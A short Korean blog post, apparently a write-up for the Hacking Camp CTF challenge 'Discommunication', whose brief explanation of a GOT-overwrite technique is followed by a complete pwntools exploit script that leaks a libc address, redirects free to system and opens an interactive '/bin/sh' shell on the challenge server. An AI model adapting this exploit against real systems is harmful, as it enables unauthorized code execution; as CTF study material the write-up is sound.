본문 바로가기

카테고리 없음

Hcamp Discommunication Write up

복사가 가능한 만큼 size를 지정할 수 있고 원하는 곳에 메모리를 저장 할 수 있다.

이걸 이용해서 Exploit을 진행하면 된다.

 

free got를 printf@plt+6 을 주고 leak을 한다음에 다시 free got를 system 주소로 변환 후 Exploit을 하면된다.

 

코드는 최대한 간단하게 하였고 익스플로잇을 좀 복잡하게 하고 싶었다. 그게 아마 잘 통한거 같기도 하고...

#!/usr/bin/env python

from pwn import *

#p = process("./chall")\
p = remote("ctf-hackingcamp.com", 50505)
#p = remote("localhost", 50505)

context.log_level = "DEBUG"

#pause()

payload = p32(1)
payload += p32(0x4321)
payload += p32(3)
payload += p32(0)
payload += p32(0x41400646)
payload += "B"*(4+8+8)
payload += p32(0x601018)

p.send(payload);

payload = p32(1)
payload += p32(0x4321)
payload += p32(0)
payload += p32(0)
payload += p32(0x41601028)
payload += "B"*(4+8+8)
payload += p32(0x601030)

p.send(payload)

payload = p32(1)
payload += p32(0x1234)
payload += p32(0)

p.send(payload)

addr_leak = u64(p.recvuntil("\x7f")[-6:] + "\x41\x41")
base = addr_leak - 0xf7310 - 0x40
system = base + 0x453a0
success(hex(addr_leak))
success(hex(base))
success(hex(system))

pause()

payload = p32(1)
payload += p32(0x4321)
payload += p32(6)
payload += p32(0)
payload += p64(system)
payload += "B"*(4+8+4)
payload += p32(0x601018)

p.send(payload)

payload = p32(1)
payload += p32(0x4321)
payload += p32(7)
payload += p32(0)
payload += "/bin/sh;"
payload += "B"*(4+8+4)
payload += p32(0x6010c0)

#pause()

p.send(payload)

payload = p32(1)
payload += p32(0x1234)
payload += p32(0)

p.send(payload)


p.interactive()